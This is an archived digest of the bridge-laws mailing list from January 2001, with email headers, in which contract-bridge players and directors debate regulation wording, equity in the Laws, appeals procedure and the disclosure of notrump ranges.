Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Gordon Bower wrote: > Marv quoted the ACBL: > > 7. CONVENTIONAL RESPONSES, REBIDS AND A CONVENTIONAL DEFENSE TO AN > > OPPONENT'S CONVENTIONAL DEFENSE after natural notrump opening bids > > or overcalls with a lower limit of fewer than 10 HCP or with a range > > of greater than 5 HCP (including those that have two non-consecutive > > ranges) and weak two bids which by partnership agreement are not > > within a range of 7 HCP and do not show at least five cards in the suit. > ^^^ > I hadn't noticed this before. The grammar gremlin has struck again! They > mean "or", and I could swear that it used to SAY "or" when I have read it > in the past. But it looks like they have accidentally made "0-12 but > always at least 5" and "might be 4, but always 6-11 HCP" allowable again. > > Anyone care to estimate the odds that I can get that one past a director > or appeals committee? Somewhere between zero and 0.0. In this case, the intent is to make sure that a Weak 2 bid shows a range of 7 HCP (or less) AND at least five cards in the suit, or else you can't use conventions. Now, any serious mathematics student would know that when you negate a proposition with an AND in it, you have to change the AND to an OR when negating the two parts individually, i.e. not (A and B) == (not A) or (not B) and vice versa: not (A or B) == (not A) and (not B) This is called De Morgan's Law. But maybe it's too much to expect the Laws' authors to have that much familiarity with this sort of mathematics. I think the intent of the authors is clear. It's worth noting that about 15-20 years ago, the California Supreme Court had to deal with a similar case (it may have involved De Morgan's law, or it may have involved some other point of grammar, I don't know). As I recall, the Legislature had written a law that had the word "and" in it, and some businesses had argued that the effect was to loosen a certain restriction; the Court decided, based on the legislative history, that the Legislature actually meant to say "or" and just got the word wrong, so it decided that the "or" meaning that the Legislature apparently intended was the law that would apply in the state. Although some might argue, I suppose it's a valid principle of legislative interpretation that when it can be established that a law's authors clearly intended to mean one thing, and said another only by accident, that the intended meaning and not the literal one is the one that gets applied. > Hey, whatever works to get regulations loosens up a little here.... :) Nice try. No cigar. -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 3 14:31:11 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f033U6f21478 for bridge-laws-outgoing; Wed, 3 Jan 2001 14:30:06 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from tungsten.btinternet.com (tungsten.btinternet.com [194.73.73.81]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f033U0t21474 for ; Wed, 3 Jan 2001 14:30:01 +1100 (EST) Received: from [213.1.83.95] (helo=pbncomputer) by tungsten.btinternet.com with smtp (Exim 3.03 #83) id 14DecX-0003Pn-00 for bridge-laws@rgb.anu.edu.au; Wed, 03 Jan 2001 03:29:50 +0000 Message-ID: <001801c07535$764936c0$729f7ad5@pbncomputer> From: "David Burn" To: References: Subject: Re: [BLML] self-serving ? Date: Wed, 3 Jan 2001 03:29:24 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Tim West-Meads wrote: > > > Obviously a statement like "I would always bid that way" is very unlikely to be accepted. > > Yes, but "very unlikely" should be "never" (otherwise inconsistency will > > once again supervene). Of course, if the appellant can show evidence > > that he has in the past frequently bid "that way", then his statement > > may stand a good chance of being accepted. > > If the AC knows, through significant experience against him, "that the > appellant would always bid that way" they can accept it. No, they can't. What would anyone think of an AC ruling that said, in effect: "Well, nobody else would have bid X, but we know this chap very well and we know that he would always have bid X"? > Since the goal of the current laws is equity, rather than consistency, it > is surely better (until the laws change to those you personally desire) to > do equity 50% of the time fail the other 50% than to fail to do equity all > the time. The notion that "the goal of the current laws is equity" is at best a doubtful one, since it is nowhere stated in those laws. I think that the great majority of players would be happier with a system where whatever is done is done all the time, than with a system where things are done more or less at random, depending on whether a given player is known to a given appeals committee or not. > I really couldn't care less what you can achieve by deliberate lying. Do > it sufficiently often and you will be banned. If people want to cheat they > will and it's not worth designing the laws to cater to an insignificant > minority. Nonsense. It is worth designing the laws so that no one can cheat. It is a popular, though comfortable, myth that there are systems in place to catch persistent liars or cheats. There are not, but the belief that there are is a major obstacle to the correct administration of the current set of laws. > Previous hands are not verification (although they may indeed be > corroboration). This makes more or less no sense; the terms "verification" and "corroboration" are interchangeable in this context. > If this approach is taken then the AC must allow time for > appellants to collect evidence, gather witnesses etc. The AC becomes a > trial rather than an enquiry. Why would you accept "he bid this way on > hand 3 of the morning session" as any more verified than the original. Than the original what? > > If your opponents have been told that your "agreement" is that you won't > > have a 15 count, while your "agreement" appears to be that you will, > > then there is a case for redress if the misinformation had damaged them. > > No. Our agreement is that 1NT *shows* 12-14 balanced and is always treated > as such . My partner (who plays strict 12-14) has been told to disclose > how I may vary from this in her experience If your partner's experience is that you may not have 12-14, then your agreement is not that 1NT shows 12-14. > that is what opponents are > entitled to know. Our CC used to read "12-14". As soon as she became > aware that I opened frequent 11s it was adjusted to "12-14 approx" as this > seemed to me the best way (in the 0.5 cm2 of space) of alerting opponents > to the fact that they should enquire. It seems to me that amending "12" to "11" would leave you with the original amount of space (perhaps slightly more, because a 1 takes up less space than a 2). If your methods are that your 1NT is 11-15 while your partner's is 12-14, then this: (a) is illegal, for both players are required to play the same system; (b) requires far more detailed disclosure than you appear to have afforded it. > She hasn't yet noticed I > occasionally have 15 and I have no desire (at the moment) that she should. Unfortunately, the laws do not concern themselves with what you desire your partner to know. The laws require you to tell the opponents what you may have when you open 1NT. You are not doing this; what is more, you are knowingly not doing this. > > Burbling on about having 11 or 10, with or without a singleton, is > > likely only to confuse the issue (since people who are often sub-minimum > > for their actions are very rarely or never super-maximum). > > Try to make sense. I *am* often sub minimum and very rarely super maximum > so how can this be irrelevant or confusing. If an opponent has to choose > between playing me for 11 vs 15 then the odds are probably about 7-1 in > favour of playing me for 11. Obviously, no one will have to choose between 11 and 15. What they will want to know is whether, given that you have 13, you might have 15. If you try to put them off by telling them: "Well, I very often have 10 or 11", they will form the impression that you never have 15, for the reason I have given (which, I assure you, makes perfect sense). > > Of course, > > your disclosure of what appear to be your methods would have to improve > > many fold in order to be woefully inadequate. But you already know that. > > I didn't think so. However I would dearly love to know what she should > have said. She should never have been in this position. You choose to place her there, because you describe your system in a certain way, and then fail to operate within the parameters of that description. Moreover, you seem to be proud of this. Words rather fail me. David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 3 17:09:25 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0364ht16112 for bridge-laws-outgoing; Wed, 3 Jan 2001 17:04:43 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0364at16072 for ; Wed, 3 Jan 2001 17:04:36 +1100 (EST) Received: from hirschd (user-vcauhug.dsl.mindspring.com [216.175.71.208]) by tisch.mail.mindspring.net (8.9.3/8.8.5) with SMTP id BAA09758 for ; Wed, 3 Jan 2001 01:04:26 -0500 (EST) Message-ID: <002e01c0754b$0495d860$0200000a@mindspring.com> From: "Hirsch Davis" To: References: <001801c07535$764936c0$729f7ad5@pbncomputer> Subject: Re: [BLML] self-serving ? Date: Wed, 3 Jan 2001 01:04:19 -0500 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: "David Burn" To: Sent: Tuesday, January 02, 2001 10:29 PM Subject: Re: [BLML] self-serving ? > > The notion that "the goal of the current laws is equity" is at best a > doubtful one, since it is nowhere stated in those laws. The following is from the Scope of the Laws: "The Laws are primarily designed not as punishment for irregularities, but rather as redress for damage." What else does this statement mean, if not that the primary goal of the Laws is equity? Hirsch -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 3 18:30:16 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f037THp12754 for bridge-laws-outgoing; Wed, 3 Jan 2001 18:29:17 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f037T9t12720 for ; Wed, 3 Jan 2001 18:29:10 +1100 (EST) Received: from dodona (host213-1-50-43.host.btclick.com [213.1.50.43]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id HAA29077; Wed, 3 Jan 2001 07:28:42 GMT Message-ID: <000b01c07557$06f814e0$2b3201d5@dodona> From: "Grattan Endicott" To: "Hirsch Davis" , References: <001801c07535$764936c0$729f7ad5@pbncomputer> <002e01c0754b$0495d860$0200000a@mindspring.com> Subject: Re: [BLML] self-serving ? Date: Wed, 3 Jan 2001 07:29:38 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott Today is the first day of the rest of your life. <===> ----- Original Message ----- From: Hirsch Davis To: Sent: Wednesday, January 03, 2001 6:04 AM Subject: Re: [BLML] self-serving ? > > ----- Original Message ----- > From: "David Burn" > To: > Sent: Tuesday, January 02, 2001 10:29 PM > Subject: Re: [BLML] self-serving ? > > > > > > The notion that "the goal of the current laws is equity" is at best > a > > doubtful one, since it is nowhere stated in those laws. > > The following is from the Scope of the Laws: "The Laws are primarily > designed not as punishment for irregularities, but rather as redress > for damage." > > What else does this statement mean, if not that the primary goal of > the Laws is equity? > > Hirsch > +=+ I agree with that. Also I think Laws 12B, 82A and 84D are relevant. ~ Grattan ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 3 21:09:08 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f03A8Ij24939 for bridge-laws-outgoing; Wed, 3 Jan 2001 21:08:18 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from rhenium (rhenium.btinternet.com [194.73.73.93]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f03A8Bt24935 for ; Wed, 3 Jan 2001 21:08:12 +1100 (EST) Received: from [62.7.86.59] (helo=pbncomputer) by rhenium with smtp (Exim 3.03 #83) id 14Dkpq-00012Y-00 for bridge-laws@rgb.anu.edu.au; Wed, 03 Jan 2001 10:07:58 +0000 Message-ID: <000501c0756d$14f59de0$3b56073e@pbncomputer> From: "David Burn" To: References: <001801c07535$764936c0$729f7ad5@pbncomputer> <002e01c0754b$0495d860$0200000a@mindspring.com> <000b01c07557$06f814e0$2b3201d5@dodona> Subject: Re: [BLML] self-serving ? Date: Wed, 3 Jan 2001 10:07:27 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan wrote: > > > The notion that "the goal of the current laws is equity" is at best a doubtful one, since it is nowhere stated in those laws. > > The following is from the Scope of the Laws: "The Laws are primarily designed not as punishment for irregularities, but rather as redress for damage." > > What else does this statement mean, if not that the primary goal of the Laws is equity? It does not actually mean anything. Some Laws provide redress for damage, other Laws punish irregularities. There is no indication that the Laws have in fact been "designed" one way or the other. The only Law that explicitly permits the doing of equity was, until recently, a mere footnote to which SOs could subscribe or not as they chose. > +=+ I agree with that. Also I think Laws 12B, 82A and 84D are relevant. I think that 12B and 84D are relevant, and indicative of the present state of confusion as to whether what we have is an equity-based system or a fixed-penalty system (cf The Bridge World's recent editorials). 12B says: The Director may not award an adjusted score on the ground that the penalty provided in these Laws is either unduly severe or advantageous to either side. Now, this means that if following the Laws leads to perceived inequity, that is too bad - the Director cannot do anything about it (and neither can anybody else). Of course, if the "primary goal of the Laws were equity", this Law would not exist. 84D says: If the Law gives the Director a choice between a specified penalty and the award of an adjusted score, he attempts to restore equity, resolving any doubtful point in favour of the non-offending side. This, like the words quoted from the Scope of the Laws, is a noble sentiment. I have never seen it applied in practice (that is, I have never heard of a Director saying: "Well, I have the choice between a specified penalty and an adjusted score, so under 84D I am going to..."). I would welcome some indication of circumstances in which this Law has been applied (or even in which it might theoretically be applied). 84B says: If a case is clearly covered by a Law that specifies a penalty for the irregularity, he [the Director] assesses that penalty and sees that it is paid. This means that only in cases that are not covered by the Laws does the Director (or anyone else) have the power to give an "equity-based" ruling. Now, if the "primary goal of the Laws were equity", this would not be the case - it would be possible to give equity-based rulings in cases that are covered by the Laws. Only under 12C3 is it (now) possible to give equity-based rulings - this was not the case until comparatively recently, whereas the words quoted from the Scope of the Laws have been around for some considerable time. For the sake of completeness, I should mention 82A, to which Grattan refers. It says: It is the duty of the Director to rectify errors of procedure and to maintain the progress of the game in a manner that is not contrary to these Laws. So it is. I confess that I am not able to see the relevance of this to the question of whether the Laws are primarily equity-based or not. David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 3 22:46:16 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f03BjMM08486 for bridge-laws-outgoing; Wed, 3 Jan 2001 22:45:22 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stargate.agro.nl (cpc.agro.nl [145.12.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f03BjGt08482 for ; Wed, 3 Jan 2001 22:45:17 +1100 (EST) Received: by stargate.agro.nl; (8.8.8/1.3/10May95) id MAA12782; Wed, 3 Jan 2001 12:45:13 +0100 (MET) Received: FROM mgate.nic.agro.nl BY agro009s.nic.agro.nl ; Wed Jan 03 12:48:02 2001 +0100 Received: from agro005s.nic.agro.nl (agro005s.nic.agro.nl [145.12.5.35]) by AGRO.NL (PMDF V6.0-24 #46444) with ESMTP id <01JYGYUHHE02001V5D@AGRO.NL>; Wed, 03 Jan 2001 12:44:53 +0200 Received: by agro005s.nic.agro.nl with Internet Mail Service (5.5.2650.21) id ; Wed, 03 Jan 2001 12:40:37 +0100 Content-return: allowed Date: Wed, 03 Jan 2001 12:44:44 +0100 From: "Kooijman, A." Subject: RE: [BLML] self-serving ? To: "'David Burn'" , bridge-laws@rgb.anu.edu.au Message-id: <67378DEA146DD21194C20000F87B08BA01B8B74B@fdwag002s.fd.agro.nl> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset=iso-8859-1 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > > > > > The notion that "the goal of the current laws is equity" is at > best a doubtful one, since it is nowhere stated in those laws. > > > > The following is from the Scope of the Laws: "The Laws are > primarily designed not as punishment for irregularities, but rather as > redress for damage." > > > > What else does this statement mean, if not that the > primary goal of > the Laws is equity? > David Burn: > It does not actually mean anything. Some Laws provide redress for > damage, other Laws punish irregularities. There is no indication that > the Laws have in fact been "designed" one way or the other. We need a rather optimistic (or poor) reader to find no indication for either equity based or punishment based. They certainly read more punishment based to me. With equity struggling to stay above the ground level. As you probably know we are starting to think about a new edition of our laws. Should we change the scope or the laws? Be aware that changing the scope is somewhat easier. ton -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 3 22:56:11 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f03Bu1p08500 for bridge-laws-outgoing; Wed, 3 Jan 2001 22:56:01 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f03Btst08496 for ; Wed, 3 Jan 2001 22:55:55 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.9.3+Sun/8.9.3) id LAA29470 for bridge-laws@rgb.anu.edu.au; Wed, 3 Jan 2001 11:55:46 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Wed, 3 Jan 2001 11:55 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: Re: [BLML] self-serving ? To: bridge-laws@rgb.anu.edu.au Cc: twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: <001801c07535$764936c0$729f7ad5@pbncomputer> DB wrote: > Tim West-Meads wrote: > > > > > Obviously a statement like "I would always bid that way" is very > unlikely to be accepted. > > > > Yes, but "very unlikely" should be "never" (otherwise inconsistency > > > will once again supervene). Of course, if the appellant can show > > > evidence that he has in the past frequently bid "that way", then his > > > statement may stand a good chance of being accepted. > > > > If the AC knows, through significant experience against him, "that the > > appellant would always bid that way" they can accept it. > > No, they can't. What would anyone think of an AC ruling that said, in > effect: "Well, nobody else would have bid X, but we know this chap very > well and we know that he would always have bid X"? I imagine they would consider it biased. What about "We know that Richard is aggressive to the point of madness and believe that no similarly aggressive player (were they to exist) would consider any bid other than X an LA". Rather than "We know Richard to be an aggressive bidder and that X is the only possible bid for someone with such an aggressive style. However we are adjusting because some less aggressive players would consider Y an LA". > > Since the goal of the current laws is equity, rather than consistency, > it > > is surely better (until the laws change to those you personally > desire) to > > do equity 50% of the time fail the other 50% than to fail to do equity > all > > the time. > > The notion that "the goal of the current laws is equity" is at best a > doubtful one, since it is nowhere stated in those laws. L16c3 springs immediately to mind. Custom, practice and widespread acceptance would indicate that the equity principal is the generally accepted one in the current laws. > I think that the > great majority of players would be happier with a system where whatever > is done is done all the time, than with a system where things are done > more or less at random, depending on whether a given player is known to > a given appeals committee or not. Perhaps. But this swings both ways. "Richard is known to be aggressive so Y is an LA for Richard while it would not be for a less aggressive player." or "Richard is known to be a very fine player who might therefore consider Y an alternative while most others would not." Personally I prefer that ACs can take their knowledge of a player into account. If this puts me in a minority so be it but it seems to make the whole process less random, not more. > > I really couldn't care less what you can achieve by deliberate lying. > > Do it sufficiently often and you will be banned. If people want to > > cheat they will and it's not worth designing the laws to cater to an > > insignificant > > minority. > > Nonsense. It is worth designing the laws so that no one can cheat. It is > a popular, though comfortable, myth that there are systems in place to > catch persistent liars or cheats. There are not, but the belief that > there are is a major obstacle to the correct administration of the > current set of laws. Alternatively one could stick with the current laws and put proper detection systems in place. > > Previous hands are not verification (although they may indeed be > > corroboration). > > This makes more or less no sense; the terms "verification" and > "corroboration" are interchangeable in this context. Making a bid on a similar hand does not provide "verification" that the same bid would be made on the actual hand. It does provide corroborating evidence. Verification requires a much greater body of evidence than corroboration and since the two words have different meanings they should be used interchangeably. > > If this approach is taken then the AC must allow time for > > appellants to collect evidence, gather witnesses etc. The AC becomes > > a trial rather than an enquiry. Why would you accept "he bid this way > > on hand 3 of the morning session" as any more verified than the > > original. > > Than the original what? The original "With hand X he would have bid Y", which you say should be ignored. Why then would you accept "Earlier he held hand Z (similar to X) and bid Y". It is another unsupported statement. > > > If your opponents have been told that your "agreement" is that you > > > won't have a 15 count, while your "agreement" appears to be that you > > > will, then there is a case for redress if the misinformation had > > > damaged them. > > > > No. Our agreement is that 1NT *shows* 12-14 balanced and is always > > treated as such . My partner (who plays strict 12-14) has been told to > > disclose how I may vary from this in her experience. > > If your partner's experience is that you may not have 12-14, then your > agreement is not that 1NT shows 12-14. Well if not "shows" then "shows a hand I consider to be worth 12-14 points and requires partner to bid as if that is what I hold". > > that is what opponents are > > entitled to know. Our CC used to read "12-14". As soon as she became > > aware that I opened frequent 11s it was adjusted to "12-14 approx" as > > this seemed to me the best way (in the 0.5 cm2 of space) of alerting > > opponents to the fact that they should enquire. > > It seems to me that amending "12" to "11" would leave you with the > original amount of space (perhaps slightly more, because a 1 takes up > less space than a 2). If your methods are that your 1NT is 11-15 while > your partner's is 12-14, then this: (a) is illegal, for both players are > required to play the same system; But not the same style/judgement. I want my opponents to be aware that *I* will frequently apply judgement to 11 counts but my partner will not. I believe that if I amend the CC to 11-14 the opponents will sometimes play me for bad 11 counts or my partner for good ones. My experience has been that putting "approx" on the card means opponents will ask when they need/want to know. > (b) requires far more detailed > disclosure than you appear to have afforded it. Disclosure is difficult when the 2 partners apply very different standards of style and judgement. If opponents enquire before play I have a fairly complicated "I will..,Emily will.." spiel. If they enquire after a 1NT bid has been made then each of us will give our best shot at what we expect. I have just realised that I will need to tell Emily about disclosing when I haven't bid 1NT as she is almost certainly unaware of the inferences of this non-barking dog. This has not previously been a problem at the table. > > She hasn't yet noticed I > > occasionally have 15 and I have no desire (at the moment) that she > should. > > Unfortunately, the laws do not concern themselves with what you desire > your partner to know. The laws require you to tell the opponents what > you may have when you open 1NT. You are not doing this; what is more, > you are knowingly not doing this. This is just wrong David. The laws require disclosure of partnership understandings (explicit and implicit). Of course if we disagree on this basic premise of disclosure we will never agree on the rest. My partner is not required to, and cannot be expected to, disclose that I very occasionally have 15 when she is unaware of this fact. I am not required to correct her explanations when I believe them to be true. > > > Burbling on about having 11 or 10, with or without a singleton, is > > > likely only to confuse the issue (since people who are often > > > sub-minimum for their actions are very rarely or never > > > super-maximum). > > Try to make sense. I *am* often sub minimum and very rarely super > > maximum so how can this be irrelevant or confusing. If an opponent > > has to choose between playing me for 11 vs 15 then the odds are > > probably about 7-1 in favour of playing me for 11. > > Obviously, no one will have to choose between 11 and 15. What they will > want to know is whether, given that you have 13, you might have 15. If > you try to put them off by telling them: "Well, I very often have 10 or > 11", they will form the impression that you never have 15, for the > reason I have given (which, I assure you, makes perfect sense). Why obviously? Perhaps they are trying to place an ace between me and their partner. I wouldn't try and "put someone off" by just saying "Well, I very often have 10 or 11" you will see that my own disclosure statement would have been "Occasionally and then usually in 3rd/4th seat, I'll have 11 or 10 more often than 15." because a) I didn't know that my partner hadn't noticed my occasional 15 counts b) It is a true reflection of my style. (Upgrade c50% 11 counts, 10% of 10 counts, 10-15% of 14 counts. Downgrade 10% of 12 counts, 10% of 3rd/4th hand 15 counts, 5% of 1st/2nd hand 15 counts) c) I believe the statement made should be independent of what I actually hold on any given hand. > > > Of course, your disclosure of what appear to be your methods would > > > have to improve many fold in order to be woefully inadequate. But > > > you already know that. > > > > I didn't think so. However I would dearly love to know what she > > should have said. > > She should never have been in this position. You choose to place her > there, because you describe your system in a certain way, and then fail > to operate within the parameters of that description. Moreover, you seem > to be proud of this. Words rather fail me. I have put her in a position where she is expected to disclose what *she* knows about my style/method and be conscientious in doing so. She takes this seriously and does her best. The more she learns about my style the more she discloses. Of that I am justly proud. I take liberties and deviate from what she expects/our agreements when I think it it the best thing to do on any given hand. This is my right under the laws. This is probably not the most effective method of teaching her but a) she likes to try and win as well as learn, and b) she enjoys teasing me when it doesn't work out. Tim. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 4 03:41:02 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f03GdHf09257 for bridge-laws-outgoing; Thu, 4 Jan 2001 03:39:17 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f03GdAt09217 for ; Thu, 4 Jan 2001 03:39:10 +1100 (EST) Received: from oemcomputer (user-2ive40p.dialup.mindspring.com [165.247.16.25]) by granger.mail.mindspring.net (8.9.3/8.8.5) with SMTP id LAA02515; Wed, 3 Jan 2001 11:39:03 -0500 (EST) Message-ID: <007401c075a4$37154100$1910f7a5@oemcomputer> From: "Craig Senior" To: "Marvin L. French" , References: <200101021604.LAA17526@cfa183.harvard.edu> <00d101c07510$03f52d60$56991e18@san.rr.com> Subject: Re: [BLML] Annoyingly irregular Date: Wed, 3 Jan 2001 11:42:27 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I am not a grammarian either...but it does seem as though the intent of the language is "which might result" rather than "resulting". If this be so, perhaps Grattan will note this as a clarifying amendment. Craig > I'm not a grammarian (Craig? David Burn?) but I believe the existing > language necessarily refers to potentially-influenced calls or plays that > occur before the TD is called. That makes it compatible with the second > interpretation, but violates L16A2 and its footnote. > Marv > mlfrench@writeme.com -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 4 04:42:44 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f03Hg5i11382 for bridge-laws-outgoing; Thu, 4 Jan 2001 04:42:05 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hotmail.com (oe22.law4.hotmail.com [216.33.148.15]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f03Hfwt11342 for ; Thu, 4 Jan 2001 04:41:59 +1100 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 3 Jan 2001 09:41:51 -0800 X-Originating-IP: [194.222.6.72] From: "David Stevenson" To: "BLML" Subject: [BLML] Computer Date: Wed, 3 Jan 2001 17:42:50 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Message-ID: X-OriginalArrivalTime: 03 Jan 2001 17:41:51.0398 (UTC) FILETIME=[74651460:01C075AC] Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I returned from my Year End Congress to find my computer is down. I can read emails from my backup but reading BLML wihout threading is impossible! I expect the computer back within 7 to 14 days. Emails direct to hotmail will reach me easily. In fact I can read other emails but if it is urgent it is better to write to both eddresses/ -- David Stevenson Liverpool, England, UK Reply to hotmail but copy to blakjak please http://blakjak.com/brg_menu.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 4 05:14:21 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f03IDtL12227 for bridge-laws-outgoing; Thu, 4 Jan 2001 05:13:55 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f03IDot12222 for ; Thu, 4 Jan 2001 05:13:50 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com; Wed, 3 Jan 2001 10:10:44 -0800 Message-ID: <001501c075b0$ddf6b240$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: Cc: , , References: <001801c07535$764936c0$729f7ad5@pbncomputer> <002e01c0754b$0495d860$0200000a@mindspring.com> Subject: Re: [BLML] self-serving ? Date: Wed, 3 Jan 2001 10:12:51 -0800 X-Priority: 3 X-MSMail-Priority: 